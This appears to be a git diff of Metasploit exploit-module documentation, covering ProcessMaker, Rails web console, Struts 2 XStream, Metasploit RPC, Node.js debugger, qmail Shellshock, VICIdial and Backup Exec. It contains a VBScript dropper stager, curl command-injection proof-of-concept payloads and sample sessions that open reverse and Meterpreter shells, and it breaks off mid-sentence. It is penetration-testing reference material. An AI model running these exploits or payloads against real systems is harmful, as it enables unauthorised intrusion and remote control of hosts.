AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64 +[*] Command Stager progress - 4.02% done (4092/101881 bytes) +``` + +...snip... + +``` +[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>%TEMP%\aAqsZ.b64 & echo Set fs = CreateObject("Scripting.FileSystemObject") >>%TEMP%\uFLQh.vbs & echo Set file = fs.GetFile("%TEMP%\aAqsZ.b64") >>%TEMP%\uFLQh.vbs & echo If file.Size Then >>%TEMP%\uFLQh.vbs & echo Set fd = fs.OpenTextFile("%TEMP%\aAqsZ.b64", 1) >>%TEMP%\uFLQh.vbs & echo data = fd.ReadAll >>%TEMP%\uFLQh.vbs & echo data = Replace(data, vbCrLf, "") >>%TEMP%\uFLQh.vbs & echo data = base64_decode(data) >>%TEMP%\uFLQh.vbs & echo fd.Close >>%TEMP%\uFLQh.vbs & echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%TEMP%\tIzcO.exe", 2, True) >>%TEMP%\uFLQh.vbs & echo ofs.Write data >>%TEMP%\uFLQh.vbs & echo ofs.close >>%TEMP%\uFLQh.vbs & echo Set shell = CreateObject("Wscript.Shell") >>%TEMP%\uFLQh.vbs +[*] Command Stager progress - 98.40% done (100252/101881 bytes) +[*] Attempting to execute: echo shell.run "%TEMP%\tIzcO.exe", 0, false >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo Wscript.Echo "The file is empty." >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo Function base64_decode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Dim w1, w2, w3, w4, n, strOut >>%TEMP%\uFLQh.vbs & echo For n = 1 To Len(strIn) Step 4 >>%TEMP%\uFLQh.vbs & echo w1 = mimedecode(Mid(strIn, n, 1)) >>%TEMP%\uFLQh.vbs & echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>%TEMP%\uFLQh.vbs & echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>%TEMP%\uFLQh.vbs & echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>%TEMP%\uFLQh.vbs & echo If Not w2 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w3 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w4 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>%TEMP%\uFLQh.vbs & echo Next >>%TEMP%\uFLQh.vbs & echo base64_decode = strOut >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & echo Function mimedecode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>%TEMP%\uFLQh.vbs & echo If Len(strIn) = 0 Then >>%TEMP%\uFLQh.vbs & echo mimedecode = -1 : Exit Function >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & cscript //nologo %TEMP%\uFLQh.vbs & del %TEMP%\uFLQh.vbs & del %TEMP%\aAqsZ.b64 +[*] Command Stager progress - 100.00% done (101881/101881 bytes) +[*] Sending stage (956991 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:1422) at 2017-10-06 14:00:14 -0400 + +meterpreter > sysinfo +Computer : WINXP +OS : Windows XP (Build 2600, Service Pack 3). +Architecture : x86 +System Language : en_US +Domain : GROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/processmaker_exec.md b/documentation/modules/exploit/multi/http/processmaker_exec.md index b00ed31e4c..8a64f7e49b 100644 --- a/documentation/modules/exploit/multi/http/processmaker_exec.md +++ b/documentation/modules/exploit/multi/http/processmaker_exec.md @@ -60,9 +60,25 @@ 2. Do: `use exploit/multi/http/processmaker_exec` 3. Do: `set username [USER]` 4. Do: `set password [PASS]` - 5. Do: `set rhost [IP]` - 6. Do: `run` - 7. You should get a session + 5. Do: `set workspace [WORKSPACE]` + 6. Do: `set rhost [IP]` + 7. Do: `run` + 8. You should get a session + + +## Options + + **Username** + + The username for a ProcessMaker user (default: `admin`). + + **Password** + + The password for the ProcessMaker user (default: `admin`). + + **Workspace** + + The ProcessMaker workspace for which the specified user has access (default: `workflow`). ## Sample Output diff --git a/documentation/modules/exploit/multi/http/rails_web_console_v2_code_exec.md b/documentation/modules/exploit/multi/http/rails_web_console_v2_code_exec.md index cac6edc4e2..e9702c0e83 100644 --- a/documentation/modules/exploit/multi/http/rails_web_console_v2_code_exec.md +++ b/documentation/modules/exploit/multi/http/rails_web_console_v2_code_exec.md @@ -1,6 +1,7 @@ ## Description - This module exploits an IP whitelist bypass vulnerability in the developer web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also achieve code execution on Rails 4.2.x if the attack is launched from a whitelisted IP range. + This module exploits an IP whitelist bypass vulnerability in the developer web console included with Ruby on Rails 4.0.x and 4.1.x. + This module will also achieve code execution on Rails 4.2.x if the attack is launched from a whitelisted IP range. ## Verification Steps @@ -13,8 +14,6 @@ cd taco vim config/environments/development.rb ``` - - Add the following line just before the final `end` tag: ```config.web_console.whitelisted_ips = %w(0.0.0.0/0)``` @@ -38,7 +37,7 @@ sudo apt-get install nodejs 3. Do: ```set RPORT [Port]``` 4. Do: ```run``` -## Sample Output +## Scenarios ### Rails version 4.2.6 diff --git a/documentation/modules/exploit/multi/http/struts2_rest_xstream.md b/documentation/modules/exploit/multi/http/struts2_rest_xstream.md new file mode 100644 index 0000000000..97f7785086 --- /dev/null +++ b/documentation/modules/exploit/multi/http/struts2_rest_xstream.md @@ -0,0 +1,47 @@ +`struts2_rest_xstream` is a module that exploits Apache Struts 2's REST plugin, using the XStream handler to deserialise XML requests perform arbitrary code execution. + +## Vulnerable Application + +Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12 + +You can download these versions here with any version of Apache Tomcat: + +http://archive.apache.org/dist/struts/ + +You will also need to install a Struts 2 showcase application, which can be found here: + +https://mvnrepository.com/artifact/org.apache.struts/struts2-rest-showcase + +## Options + +**TARGETURI** + +The path to a struts application action + +**VHOST** + +The HTTP server virtual host. You will probably need to configure this as well, even though it is set as optional. + +## Demonstration + +**The Check Command** + +The `struts2_rest_xstream` module comes with a check command that can effectively check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following: + +``` +set VERBOSE true +set RHOST [IP] +set TARGETURI [path to the Struts app with an action] +``` + +When the module is in verbose mode, the `check` command will try to tell you the OS information, and whether or not the machine is vulnerable. Like this: + +``` +msf exploit(struts2_rest_xstream) > check + +[+] 10.1.11.11:8080 The target appears to be vulnerable. +``` + +**Exploiting the Host** + +After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS. diff --git a/documentation/modules/exploit/multi/misc/msf_rpc_console.md b/documentation/modules/exploit/multi/misc/msf_rpc_console.md new file mode 100644 index 0000000000..52c2d4f225 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/msf_rpc_console.md @@ -0,0 +1,142 @@ +## Description + + This module connects to a specified Metasploit RPC server and uses the *console.write* procedure to execute operating system commands. Valid credentials are required to access the RPC interface. + + +## Vulnerable Application + + [Metasploit](https://www.rapid7.com/products/metasploit/) is the world's most used penetration testing software. The RPC API can be used to programmatically drive the Metasploit Framework and Metasploit Pro products. + + To start the RPC service, run `msfrpcd -U msf -P abc123`; or run `load msgrpc ServerHost=0.0.0.0 ServerPort=55552 User=msf Pass=abc123 SSL=Y` from within msfconsole. + + This module has been tested successfully on: + + * Metasploit 4.15 on Kali 1.0.6 + * Metasploit 4.14 on Kali 2017.1 + * Metasploit 4.14 on Windows 7 SP1 + + Source and Installers: + + * [Source Code Repository](https://github.com/rapid7/metasploit-framework) + * [Installers](https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version) + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/multi/misc/msf_rpc_console` + 3. Do: `set RHOST [IP]` + 4. Do: `set RPORT [PORT]` (default: `55552`) + 5. Do: `set USERNAME [USERNAME]` (default: `msf`) + 6. Do: `set PASSWORD [PASSWORD]` + 7. Do: `set LHOST [IP]` + 8. Do: `run` + 9. You should get a session + + +## Options + + **Username** + + The username for Metasploit RPC (default: `msf`). + + **Password** + + The password for the RPC user. + + +## Scenarios + +### Ruby Target + + ``` + msf > use exploit/multi/misc/msf_rpc_console + msf exploit(msf_rpc_console) > set rhost 172.16.191.166 + rhost => 172.16.191.166 + msf exploit(msf_rpc_console) > set username msf + username => msf + msf exploit(msf_rpc_console) > set password abc123 + password => abc123 + msf exploit(msf_rpc_console) > set lhost 172.16.191.181 + lhost => 172.16.191.181 + msf exploit(msf_rpc_console) > set target 0 + target => 0 + msf exploit(msf_rpc_console) > run + + [*] Started reverse TCP handler on 172.16.191.181:4444 + [+] 172.16.191.166:55552 - Authenticated successfully + [*] 172.16.191.166:55552 - Metasploit 4.14.28-dev + [*] 172.16.191.166:55552 - Ruby 2.3.3 x64-mingw32 2016-11-21 + [*] 172.16.191.166:55552 - API version 1.0 + [+] 172.16.191.166:55552 - Created console #0 + [*] 172.16.191.166:55552 - Sending payload... + [*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.166:52984) at 2017-07-05 03:40:50 -0400 + + whoami + win-sgbsd5tqutq\user + ``` + +### Windows CMD Target + + ``` + msf > use exploit/multi/misc/msf_rpc_console + msf exploit(msf_rpc_console) > set rhost 172.16.191.166 + rhost => 172.16.191.166 + msf exploit(msf_rpc_console) > set username msf + username => msf + msf exploit(msf_rpc_console) > set password abc123 + password => abc123 + msf exploit(msf_rpc_console) > set lhost 172.16.191.181 + lhost => 172.16.191.181 + msf exploit(msf_rpc_console) > set target 0 + target => 1 + msf exploit(msf_rpc_console) > set payload cmd/windows/powershell_reverse_tcp + payload => cmd/windows/powershell_reverse_tcp + msf exploit(msf_rpc_console) > run + + [*] Started reverse SSL handler on 172.16.191.181:4444 + [+] 172.16.191.166:55552 - Authenticated successfully + [*] 172.16.191.166:55552 - Metasploit 4.14.28-dev + [*] 172.16.191.166:55552 - Ruby 2.3.3 x64-mingw32 2016-11-21 + [*] 172.16.191.166:55552 - API version 1.0 + [+] 172.16.191.166:55552 - Created console #1 + [*] 172.16.191.166:55552 - Sending payload... + [*] Powershell session session 2 opened (172.16.191.181:4444 -> 172.16.191.166:52996) at 2017-07-05 03:44:05 -0400 + + Windows PowerShell running as user user on WIN-SGBSD5TQUTQ + Copyright (C) 2015 Microsoft Corporation. All rights reserved. + + PS C:\metasploit>whoami + win-sgbsd5tqutq\user + ``` + +### Unix CMD Target + + ``` + msf > use exploit/multi/misc/msf_rpc_console + msf exploit(msf_rpc_console) > set rhost 172.16.191.215 + rhost => 172.16.191.215 + msf exploit(msf_rpc_console) > set username msf + username => msf + msf exploit(msf_rpc_console) > set password abc123 + password => abc123 + msf exploit(msf_rpc_console) > set lhost 172.16.191.181 + lhost => 172.16.191.181 + msf exploit(msf_rpc_console) > set target 2 + target => 2 + msf exploit(msf_rpc_console) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(msf_rpc_console) > run + + [*] Started reverse TCP handler on 172.16.191.181:4444 + [+] 172.16.191.215:55552 - Authenticated successfully + [*] 172.16.191.215:55552 - Metasploit 4.15.0-dev-aceeedc + [*] 172.16.191.215:55552 - Ruby 2.3.0 x86_64-linux 2015-12-25 + [*] 172.16.191.215:55552 - API version 1.0 + [+] 172.16.191.215:55552 - Created console #0 + [*] 172.16.191.215:55552 - Sending payload... + [*] Command shell session 3 opened (172.16.191.181:4444 -> 172.16.191.215:40768) at 2017-07-05 03:46:11 -0400 + + id + uid=0(root) gid=0(root) groups=0(root) + ``` + diff --git a/documentation/modules/exploit/multi/misc/nodejs_v8_debugger.md b/documentation/modules/exploit/multi/misc/nodejs_v8_debugger.md new file mode 100644 index 0000000000..1d699fd6b9 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/nodejs_v8_debugger.md @@ -0,0 +1,64 @@ +## Vulnerable Application + +Current and historical versions of node (or any JS env based on the +V8 JS engine) have this functionality and could be exploitable if +configured to expose the JS port on an untrusted interface. + +Install a version of node using any of the normal methods: +* Vendor: https://nodejs.org/en/download/package-manager/ +* Distro: `sudo apt-get install nodejs` + +Alternately, use standard node docker containers as targets: +``` +$ docker run -it --rm -p 5858:5858 node:4-wheezy node --debug=0.0.0.0:5858 +``` +(Others at https://hub.docker.com/_/node/) + +Tested on Node 7.x, 6.x, 4.x + +## Verification Steps + +1. Run a node process exposing the debug port +``` +node --debug=0.0.0.0:5858 +``` + +2. Exploit it and catch the callback: + +``` +msfconsole -x "use exploit/multi/misc/nodejs_v8_debugger; set RHOST 127.0.0.1; set PAYLOAD nodejs/shell_reverse_tcp; set LHOST 127.0.0.1; handler -H 0.0.0.0 -P 4444 -p nodejs/shell_reverse_tcp; exploit +``` +(If using docker hosts as targets for testing, ensure that LHOST addr is accessible to the container) + +Note that in older Node versions (notably 4.8.4), the debugger will not immediately process the incoming eval message. As soon as there is some kind of activity +(such as a step or continue in the debugger, or just hitting enter), the payload will execute and the handler session will start. + + +## Scenarios + +### Example Run (Node 7.x) + +Victim: +``` +$ node --version +v7.10.0 +$ node --debug=0.0.0.0:5858 +(node:83089) DeprecationWarning: node --debug is deprecated. Please use node --inspect instead. +Debugger listening on 0.0.0.0:5858 +> +(To exit, press ^C again or type .exit) +``` + +Attacker: +``` +msf exploit(nodejs_v8_debugger) > exploit + +[*] Started reverse TCP handler on 10.0.0.141:4444 +[*] 127.0.0.1:5858 - Sending 745 byte payload... +[*] 127.0.0.1:5858 - Got success response +[*] Command shell session 4 opened (10.0.0.141:4444 -> 10.0.0.141:53168) at 2017-09-04 00:37:17 -0700 + +id +(redacted) +``` + diff --git a/documentation/modules/exploit/unix/smtp/qmail_bash_env_exec.md b/documentation/modules/exploit/unix/smtp/qmail_bash_env_exec.md new file mode 100644 index 0000000000..167ef65cdd --- /dev/null +++ b/documentation/modules/exploit/unix/smtp/qmail_bash_env_exec.md @@ -0,0 +1,82 @@ +## Vulnerable Application + +Any qmail version (works on latest versions, qmail-1.03 and netqmail-1.06) running on a system with a vulnerable BASH (Shellshock). In order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed. + +## Setting up a vulnerable environment + +Install Qmail on a Linux server with a shellshock vulnerable bash. Ensure that /bin/sh is linked to bash. Create an e-mail account on that qmail server. IMPORTANT: there is a community version of qmail, "qmailrocks" (http://qmailrocks.thibs.com/) which apply a patch that checks the vulnerable MAILFROM parameter. This version (with the patch applied) is NOT vulnerable. If you are using this version, change the "int mfcheck()" function on qmail-smtpd.c and ensure it returns always 0 (after applying the patch) and re-compile qmail-smtpd. + +## Verification Steps + + 1. `use exploit/unix/smtp/qmail_bash_env_exec` + 2. `set RHOST ` + 3. `set MAILTO ` + 4. `set payload cmd/unix/reverse` + 5. `set LHOST ` + 7. optionally set `RPORT` and `LPORT` + 8. `exploit` + 9. **Verify** a new shell session is started + +## Options + +**MAILTO** + +A valid e-mail recipient. Usually, admin@targetdomain.com can be used. + +## Sample Output +**Tested on qmail-1.03 on Debian 6.0.6 (squeeze). BASH version 4.1.5(1).** + +``` +msf > use exploit/unix/smtp/qmail_bash_env_exec +msf exploit(qmail_bash_env_exec) > set rhost 192.168.1.113 +rhost => 192.168.1.113 +msf exploit(qmail_bash_env_exec) > set mailto "admin@testqmail2.test" +mailto => admin@testqmail2.test +msf exploit(qmail_bash_env_exec) > set payload cmd/unix/reverse +payload => cmd/unix/reverse +msf exploit(qmail_bash_env_exec) > show options + +Module options (exploit/unix/smtp/qmail_bash_env_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + MAILTO admin@testqmail2.test yes TO address of the e-mail + RHOST 192.168.1.113 yes The target address + RPORT 25 yes The target port (TCP) + + +Payload options (cmd/unix/reverse): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.102 yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + +msf exploit(qmail_bash_env_exec) > run + +[*] Started reverse TCP double handler on 192.168.1.102:4444 +[*] 192.168.1.113:25 - Sending the payload... +[*] 192.168.1.113:25 - Sending RCPT TO admin@testqmail2.test +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo RvZfov9i2ZuveLXA; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "RvZfov9i2ZuveLXA\r\n" +[*] Matching... +[*] A is input... +[*] Command shell session 19 opened (192.168.1.102:4444 -> 192.168.1.113:48167) at 2017-05-04 15:11:02 +0200 + +whoami +vpopmail +``` diff --git a/documentation/modules/exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.md b/documentation/modules/exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.md new file mode 100644 index 0000000000..708867cde1 --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.md @@ -0,0 +1,133 @@ +## Description + + This module exploits a vulnerability in VICIdial versions 2.9 RC1 to 2.13 RC1 which allows unauthenticated users to execute arbitrary operating system commands as the web server user if password encryption is enabled (disabled by default). + + When password encryption is enabled the user's password supplied using HTTP basic authentication is used in a call to `exec()`. + + This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS. + + +## Vulnerable Application + + VICIDIAL is a software suite that is designed to interact with the Asterisk Open-Source PBX Phone system to act as a complete inbound/outbound contact center suite with inbound email support as well. + + This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS. + + Installers: + + * [VICIdial 2.11 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download) + * [VICIdial 2.13 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.13rc1.zip/download) + + Follow the [instructions to enabled password encryption](http://vicidial.org/docs/ENCRYPTED_PASSWORDS.txt). + + +## Technical Details + + The `functions.php` file defines a function called `user_authorization`: + + ```php + function user_authorization($user,$pass,$user_option,$user_update) + ``` + + This function is used throughout the application to validate user logon credentials supplied using HTTP basic authentication. If password encryption is enabled the user's password is passed to the `pass` argument of the `bp.pl` Perl script, without quotes, using PHP's `exec()` function: + + ```php + if ($SSpass_hash_enabled > 0) + { + if (file_exists("../agc/bp.pl")) + {$pass_hash = exec("../agc/bp.pl --pass=$pass");} + else + {$pass_hash = exec("../../agc/bp.pl --pass=$pass");} + ``` + + A rudimentary blacklist is used to prevent command injection. The apostrophe `'`, quote `"`, semi-colon `;` and backslash `\` characters are removed from the user's username and password using `preg_replace`, like so: + + ```php + $user = preg_replace("/\'|\"|\\\\|;/","",$user); + $pass = preg_replace("/\'|\"|\\\\|;/","",$pass); + ``` + + It is trivial to bypass the blacklist. + + For example, backticks ``` ` ```, pipe `|` or ampersand `&` are sufficient to bypass the blacklist and execute arbitrary operating system commands. + + For the purposes of exploitation, reaching the `user_authorization` function call with malicious input is hindered by additional input validation in use prior to the authentication check throughout the majority of the codebase: + + ```php + $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_USER); + $PHP_AUTH_PW = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_PW); + ``` + + However, in VICIdial version 2.11RC2, at least two files did not make use of the additional validation: + + * help.php + * vicidial_sales_viewer.php + + In VICIdial version 2.13RC1, at least one file did not make use of the additional validation: + + * vicidial_sales_viewer.php + + This vulnerability was patched in revision 2759. + + +## Proof of Concept + + ```bash + $ curl -isk "https://VICIdial.local/vicidial/vicidial_sales_viewer.php" \ + --user 'anyusername:anypassword& id>/tmp/pwned_by_sales_viewer #' + ``` + + ```bash + $ curl -isk "https://VICIdial.local/vicidial/help.php" \ + --user 'anyusername:anypassword& id>/tmp/pwned_by_help #' + ``` + + Note that `/tmp/pwned_by_help` and `/tmp/pwned_by_sales_viewer` files should contain the results of the `id` command. + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec` + 3. Do: `set rhost [IP]` + 4. Do: `run` + 5. You should get a session + + +## Sample Output + + ``` + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check + [*] 172.16.191.150:80 The target appears to be vulnerable. + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run + + [*] Started reverse TCP handler on 172.16.191.181:4444 + [*] 172.16.191.150:80 Sending payload (505 bytes) + [+] 172.16.191.150:80 Payload sent successfully + [*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.150:36660) at 2017-05-27 01:00:41 -0400 + + id + uid=48(apache) gid=48(apache) groups=48(apache) + ``` + + +## Sample Output (Verbose) + + ``` + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > set verbose true + verbose => true + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check + + [*] 172.16.191.150:80 Password encryption is supported, but may not be enabled. + [*] 172.16.191.150:80 The target appears to be vulnerable. + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run + + [*] Started reverse TCP handler on 172.16.191.181:4444 + [*] 172.16.191.150:80 Sending payload (505 bytes) + [+] 172.16.191.150:80 Payload sent successfully + [*] Command shell session 2 opened (172.16.191.181:4444 -> 172.16.191.150:36661) at 2017-05-27 01:00:48 -0400 + + id + uid=48(apache) gid=48(apache) groups=48(apache) + ``` + diff --git a/documentation/modules/exploit/windows/backupexec/ssl_uaf.md b/documentation/modules/exploit/windows/backupexec/ssl_uaf.md new file mode 100644 index 0000000000..37b72d9964 --- /dev/null +++ b/documentation/modules/exploit/windows/backupexec/ssl_uaf.md @@ -0,0 +1,201 @@ +## Vulnerability Summary + +The Backup Exec Remote Agent for Windows is vulnerable to a use-after-free in +its handling of SSL/TLS-wrapped NDMP connections. If SSL/TLS is established on a +NDMP connection, ended, and finally re-established, the agent will re-use +previously freed SSL/TLS structures. This allows for remote code execution over +an unauthenticated network connection. + + +## Vulnerable Application + +Backup Exec consists of a server component as well as remote agents that are +installed on each host that should be backed up by the server. + +There are remote agents available for a range of data sources, including +operating-system level agents for Windows and Linux hosts' local filesystems, +application-specific agents for Microsoft Exchange, SharePoint, Active +Directory, etc., and agents for virtual machines such as VMware or Hyper-V +instances. This exploit targets the Windows OS-level remote agents, which are +the most common type in a typical Backup Exec deployment on a Windows-based +network. The agents are installed as services running by default as the +`NT AUTHORITY\SYSTEM` user. + +A trial version of Backup Exec can be downloaded from Veritas' website; +currently the download is available 